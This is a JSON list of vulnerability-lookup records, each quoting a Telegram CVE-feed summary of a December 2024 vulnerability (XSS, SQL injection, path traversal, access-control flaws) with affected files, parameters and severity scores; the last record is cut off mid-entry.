{"uuid": "a76d617f-ff3f-4680-9229-1e159a0a0351", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12892", "type": "seen", "source": "https://t.me/cvedetector/13510", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12892 - \"Code-projects Online Exam Mastering System Cross-Site Scripting\"\", \n  \"Content\": \"CVE ID : CVE-2024-12892 \nPublished : Dec. 22, 2024, 8:15 a.m. | 26\u00a0minutes ago \nDescription : A vulnerability classified as problematic was found in code-projects Online Exam Mastering System 1.0. Affected by this vulnerability is an unknown functionality of the file /sign.php?q=account.php. The manipulation of the argument name/gender/college leads to cross site scripting. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 3.5 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"22 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-22T09:43:33.000000Z"}, {"uuid": "02830749-d673-4fa8-953a-e0a2f4df5eb5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12893", "type": "seen", "source": "https://t.me/cvedetector/13509", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12893 - Portabilis i-Educar Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12893 \nPublished : Dec. 22, 2024, 8:15 a.m. | 26\u00a0minutes ago \nDescription : A vulnerability, which was classified as problematic, has been found in Portabilis i-Educar up to 2.9. Affected by this issue is some unknown functionality of the file /usuarios/tipos/2 of the component Tipo de Usu\u00e1rio Page. The manipulation of the argument name leads to cross site scripting. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way. \nSeverity: 2.4 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"22 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-22T09:43:32.000000Z"}, {"uuid": "432ffb99-053f-4686-8ecf-d401218d1bc3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12891", "type": "seen", "source": "https://t.me/cvedetector/13508", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12891 - Code-projects Online Exam Mastering System SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12891 \nPublished : Dec. 22, 2024, 7:15 a.m. | 37\u00a0minutes ago \nDescription : A vulnerability classified as critical has been found in code-projects Online Exam Mastering System 1.0. Affected is an unknown function of the file /account.php?q=quiz&step=2. The manipulation of the argument eid leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"22 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-22T08:53:22.000000Z"}, {"uuid": "a17a3d59-d191-40c3-a6ec-a1bcc4653be1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12890", "type": "seen", "source": "https://t.me/cvedetector/13507", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12890 - Code-projects Online Exam Mastering System SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12890 \nPublished : Dec. 22, 2024, 6:15 a.m. | 36\u00a0minutes ago \nDescription : A vulnerability was found in code-projects Online Exam Mastering System 1.0. It has been rated as critical. This issue affects some unknown processing of the file /update.php?q=quiz&step=2. The manipulation of the argument eid leads to sql injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"22 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-22T08:03:11.000000Z"}, {"uuid": "2fa56c66-10e7-4853-9293-e45fbcfcb45f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12582", "type": "seen", "source": "https://t.me/cvedetector/13552", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12582 - \"Skupper Console Plaintext Authentication Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-12582 \nPublished : Dec. 24, 2024, 4:15 a.m. | 37\u00a0minutes ago \nDescription : A flaw was found in the skupper console,  a read-only interface that renders cluster network, traffic details, and metrics for a network application that a user sets up across a hybrid multi-cloud environment. When the default authentication method is used, a random password is generated for the \"admin\" user and is persisted in either a Kubernetes secret or a podman volume in a plaintext file. This authentication method can be manipulated by an attacker, leading to the reading of any user-readable file in the container filesystem, directly impacting data confidentiality. Additionally, the attacker may induce skupper to read extremely large files into memory, resulting in resource exhaustion and a denial of service attack. \nSeverity: 7.1 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"24 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-24T06:02:16.000000Z"}, {"uuid": "22c053fe-55ba-408d-a038-4f0b64d9788b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12898", "type": "seen", "source": "https://t.me/cvedetector/13528", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12898 - 1000 Projects Attendance Tracking Management System SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12898 \nPublished : Dec. 23, 2024, 1:15 a.m. | 41\u00a0minutes ago \nDescription : A vulnerability was found in 1000 Projects Attendance Tracking Management System 1.0. It has been declared as critical. This vulnerability affects unknown code of the file /admin/faculty_action.php. The manipulation of the argument faculty_course_id leads to sql injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. Other parameters might be affected as well. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"23 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-23T03:17:18.000000Z"}, {"uuid": "f0b43ae6-ccbe-42e4-ab36-ace70bed97cf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12899", "type": "seen", "source": "https://t.me/cvedetector/13522", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12899 - 1000 Projects Attendance Tracking Management System SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12899 \nPublished : Dec. 23, 2024, 1:15 a.m. | 41\u00a0minutes ago \nDescription : A vulnerability was found in 1000 Projects Attendance Tracking Management System 1.0. It has been rated as critical. This issue affects some unknown processing of the file /admin/course_action.php. The manipulation of the argument course_code leads to sql injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 7.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"23 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-23T03:17:10.000000Z"}, {"uuid": "f1a8fd8d-f8b2-4d25-b324-daca1ea353df", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12897", "type": "seen", "source": "https://t.me/cvedetector/13521", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12897 - Intelbras VIP Path Traversal Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12897 \nPublished : Dec. 23, 2024, 12:15 a.m. | 42\u00a0minutes ago \nDescription : A vulnerability was found in Intelbras VIP S3020 G2, VIP S4020 G2, VIP S4020 G3 and VIP S4320 G2 up to 20241222. It has been classified as critical. This affects an unknown part of the file ../mtd/Config/Sha1Account1 of the component Web Interface. The manipulation leads to path traversal: '../filedir'. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"23 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-23T02:27:00.000000Z"}, {"uuid": "80024fb7-b7da-49c7-8a9a-307999010910", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12896", "type": "seen", "source": "https://t.me/cvedetector/13519", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12896 - \"Intelbras VIP S3020 G2, etc. Web Interface Information Disclosure Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-12896 \nPublished : Dec. 22, 2024, 11:15 p.m. | 21\u00a0minutes ago \nDescription : A vulnerability was found in Intelbras VIP S3020 G2, VIP S4020 G2, VIP S4020 G3 and VIP S4320 G2 up to 20241222 and classified as problematic. Affected by this issue is some unknown functionality of the file /web_caps/webCapsConfig of the component Web Interface. The manipulation leads to information disclosure. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. The vendor assesses that \"the information disclosed in the URL is not sensitive or poses any risk to the user\". \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"23 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-23T00:46:39.000000Z"}, {"uuid": "05e5cfe4-1643-456c-8be2-d3caf9b11a00", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12057", "type": "seen", "source": "https://t.me/cvedetector/12444", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12057 - PcVue Web Back End Password Disclosure Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12057 \nPublished : Dec. 9, 2024, 7:15 p.m. | 44\u00a0minutes ago \nDescription : User credentials (login & password) are inserted into log files when a user tries to authenticate using a version of a Web client that is not compatible with that of the PcVue Web back end.  \nBy exploiting this vulnerability, an attacker could retrieve the credentials of a user by accessing the Log File. Successful exploitation of this vulnerability could lead to unauthorized access to the application. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-09T21:24:08.000000Z"}, {"uuid": "cdacc9d3-dce7-432d-a583-554f8ef08cc2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12323", "type": "seen", "source": "https://t.me/cvedetector/12515", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12323 - TurboSMTP WordPress Reflected Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12323 \nPublished : Dec. 10, 2024, 3:15 p.m. | 42\u00a0minutes ago \nDescription : The turboSMTP plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the \u2018page\u2019 parameter in all versions up to, and including, 4.6 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link while logged in to turboSMTP. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"10 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-10T17:28:33.000000Z"}, {"uuid": "21c87449-1954-4c65-b61a-aa080eca6c15", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12393", "type": "seen", "source": "https://t.me/cvedetector/12457", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12393 - Improper Neutralization of Input During Web Page G\", \n  \"Content\": \"CVE ID : CVE-2024-12393 \nPublished : Dec. 10, 2024, 12:15 a.m. | 19\u00a0minutes ago \nDescription : Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Drupal Core allows Cross-Site Scripting (XSS).This issue affects Drupal Core: from 8.8.0 before 10.2.11, from 10.3.0 before 10.3.9, from 11.0.0 before 11.0.8. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"10 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-10T01:34:58.000000Z"}, {"uuid": "a58870a7-53e8-45a1-9cab-7b08af99faf6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12174", "type": "seen", "source": "https://t.me/cvedetector/12452", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12174 - Tenable Security Center Certificate Validation Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12174 \nPublished : Dec. 9, 2024, 10:15 p.m. | 37\u00a0minutes ago \nDescription : An Improper Certificate Validation vulnerability exists in Tenable Security Center where an authenticated, privileged attacker could intercept email messages sent from Security Center via a rogue SMTP server. \nSeverity: 2.7 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-09T23:54:38.000000Z"}, {"uuid": "f6c87005-db40-4795-abb2-114656105c9e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12305", "type": "seen", "source": "https://t.me/cvedetector/12367", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12305 - \"Unifiedtransform Student Grade Access Control Bypass\"\", \n  \"Content\": \"CVE ID : CVE-2024-12305 \nPublished : Dec. 9, 2024, 9:15 a.m. | 40\u00a0minutes ago \nDescription : An object-level access control vulnerability in Unifiedtransform version 2.0 and potentially earlier versions allows unauthorized access to student grades. A malicious student user can view grades of other students by manipulating the student_id parameter in the marks viewing endpoint. The vulnerability exists due to insufficient access control checks in MarkController.php. At the time of publication of the CVE no patch is available. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-09T11:20:48.000000Z"}, {"uuid": "97a2e5fb-dc5b-4ad8-a44b-9582201cdce9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12359", "type": "seen", "source": "https://t.me/cvedetector/12361", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12359 - Code-projects Admin Dashboard Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12359 \nPublished : Dec. 9, 2024, 5:15 a.m. | 38\u00a0minutes ago \nDescription : A vulnerability was found in code-projects Admin Dashboard 1.0. It has been declared as problematic. This vulnerability affects unknown code of the file /vendor_management.php. The manipulation of the argument username leads to cross site scripting. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The initial researcher advisory mentions contradicting product names. \nSeverity: 3.5 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-09T07:10:07.000000Z"}, {"uuid": "cd20ff60-b2c2-4454-b039-760b58914e13", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12358", "type": "seen", "source": "https://t.me/cvedetector/12360", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12358 - Weiyedatax-Web Os Command Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12358 \nPublished : Dec. 9, 2024, 5:15 a.m. | 38\u00a0minutes ago \nDescription : A vulnerability was found in WeiYe-Jing datax-web 2.1.1. It has been classified as critical. This affects an unknown part of the file /api/job/add/. The manipulation of the argument glueSource leads to os command injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-09T07:10:06.000000Z"}, {"uuid": "14b484d5-d877-45c7-ad02-70c192a59a86", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12306", "type": "seen", "source": "https://t.me/cvedetector/12366", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12306 - Oracle Unifiedtransform Access Control Bypass\", \n  \"Content\": \"CVE ID : CVE-2024-12306 \nPublished : Dec. 9, 2024, 9:15 a.m. | 40\u00a0minutes ago \nDescription : Multiple access control vulnerabilities in Unifiedtransform version 2.0 and potentially earlier versions allow unauthorized access to personal information of students and teachers. The vulnerabilities include both function-level access control issues in list viewing endpoints and object-level access control issues in profile viewing endpoints. A malicious student user can access personal information of other students and teachers through these vulnerabilities. At the time of publication of the CVE no patch is available. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-09T11:20:47.000000Z"}, {"uuid": "439f41ed-2f1d-4e66-87bb-6227d422c05d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12307", "type": "seen", "source": "https://t.me/cvedetector/12365", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12307 - Unifiedtransform Teacher Privilege Escalation Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12307 \nPublished : Dec. 9, 2024, 9:15 a.m. | 40\u00a0minutes ago \nDescription : A function-level access control vulnerability in Unifiedtransform version 2.0 and potentially earlier versions allows teachers to modify student personal data without proper authorization. The vulnerability exists due to missing access control checks in the student editing functionality. At the time of publication of the CVE no patch is available. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-09T11:20:46.000000Z"}, {"uuid": "5376231b-5a53-489a-a356-b95f1d1472b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12360", "type": "seen", "source": "https://t.me/cvedetector/12362", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12360 - \"Code-projects Online Class and Exam Scheduling System SQL Injection Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-12360 \nPublished : Dec. 9, 2024, 5:15 a.m. | 38\u00a0minutes ago \nDescription : A vulnerability was found in code-projects Online Class and Exam Scheduling System 1.0. It has been rated as critical. This issue affects some unknown processing of the file class_update.php. The manipulation of the argument id leads to sql injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-09T07:10:07.000000Z"}, {"uuid": "7fa41137-d67c-4a9f-b8cd-3f7f0027d677", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12357", "type": "seen", "source": "https://t.me/cvedetector/12363", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12357 - SourceCodester Best House Rental Management System Remote File Inclusion Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12357 \nPublished : Dec. 9, 2024, 5:15 a.m. | 38\u00a0minutes ago \nDescription : A vulnerability was found in SourceCodester Best House Rental Management System 1.0 and classified as problematic. Affected by this issue is some unknown functionality of the file /index.php. The manipulation of the argument page leads to file inclusion. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-09T07:10:08.000000Z"}, {"uuid": "6aa7ee47-d78a-4123-b26e-a0f761de25fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12355", "type": "seen", "source": "https://t.me/cvedetector/12344", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12355 - SourceCodester Phone Contact Manager System Local Input Validation Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12355 \nPublished : Dec. 9, 2024, 2:15 a.m. | 27\u00a0minutes ago \nDescription : A vulnerability has been found in SourceCodester Phone Contact Manager System 1.0 and classified as problematic. Affected by this vulnerability is the function ContactBook::adding of the file ContactBook.cpp. The manipulation leads to improper input validation. The attack needs to be approached locally. The exploit has been disclosed to the public and may be used. \nSeverity: 3.3 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-09T03:49:19.000000Z"}, {"uuid": "a5b95321-c534-4f13-92e5-22636d5c9faa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12354", "type": "seen", "source": "https://t.me/cvedetector/12342", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12354 - SourceCodester Phone Contact Manager Buffer Overflow Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12354 \nPublished : Dec. 9, 2024, 2:15 a.m. | 27\u00a0minutes ago \nDescription : A vulnerability, which was classified as critical, was found in SourceCodester Phone Contact Manager System 1.0. Affected is the function UserInterface::MenuDisplayStart of the component User Menu. The manipulation leads to buffer overflow. It is possible to launch the attack on the local host. The exploit has been disclosed to the public and may be used. \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-09T03:49:17.000000Z"}, {"uuid": "fcf4c2d6-b3fe-40dc-83b4-d9f0a33b53f5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12351", "type": "seen", "source": "https://t.me/cvedetector/12340", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12351 - JFinalCMS SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12351 \nPublished : Dec. 9, 2024, 1:15 a.m. | 1\u00a0hour, 8\u00a0minutes ago \nDescription : A vulnerability classified as critical has been found in JFinalCMS 1.0. This affects the function findPage of the file src\\main\\java\\com\\cms\\entity\\ContentModel.java of the component File Content Handler. The manipulation of the argument name leads to sql injection. It is possible to initiate the attack remotely. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-09T03:49:16.000000Z"}, {"uuid": "a6b443ec-a878-4d85-bb9a-0a67c65db738", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12350", "type": "seen", "source": "https://t.me/cvedetector/12339", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12350 - A vulnerability was found in JFinalCMS 1.0. It has\", \n  \"Content\": \"CVE ID : CVE-2024-12350 \nPublished : Dec. 9, 2024, 1:15 a.m. | 39\u00a0minutes ago \nDescription : A vulnerability was found in JFinalCMS 1.0. It has been rated as critical. Affected by this issue is the function update of the file \\src\\main\\java\\com\\cms\\controller\\admin\\TemplateController.java of the component Template Handler. The manipulation of the argument content leads to command injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-09T02:59:06.000000Z"}, {"uuid": "0146e753-dfd1-4215-9eb7-65e6d0d7f3a1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12349", "type": "seen", "source": "https://t.me/cvedetector/12338", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12349 - JFinalCMS Cross-Site Request Forgery Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12349 \nPublished : Dec. 9, 2024, 1:15 a.m. | 39\u00a0minutes ago \nDescription : A vulnerability was found in JFinalCMS 1.0. It has been declared as problematic. Affected by this vulnerability is an unknown functionality of the file /admin/tag/save. The manipulation leads to cross-site request forgery. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-09T02:59:06.000000Z"}, {"uuid": "1dbb1dd1-3f1b-46c4-b08b-b8cd536a5edd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12348", "type": "seen", "source": "https://t.me/cvedetector/12337", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12348 - A vulnerability was found in Guizhou Xiaoma Techno\", \n  \"Content\": \"CVE ID : CVE-2024-12348 \nPublished : Dec. 9, 2024, 1:15 a.m. | 39\u00a0minutes ago \nDescription : A vulnerability was found in Guizhou Xiaoma Technology jpress 5.1.2. It has been classified as problematic. Affected is the function AttachmentUtils.isUnSafe of the file /commons/attachment/upload of the component Attachment Upload Handler. The manipulation of the argument files[] leads to cross site scripting. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 3.5 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Dec 2024\",\n  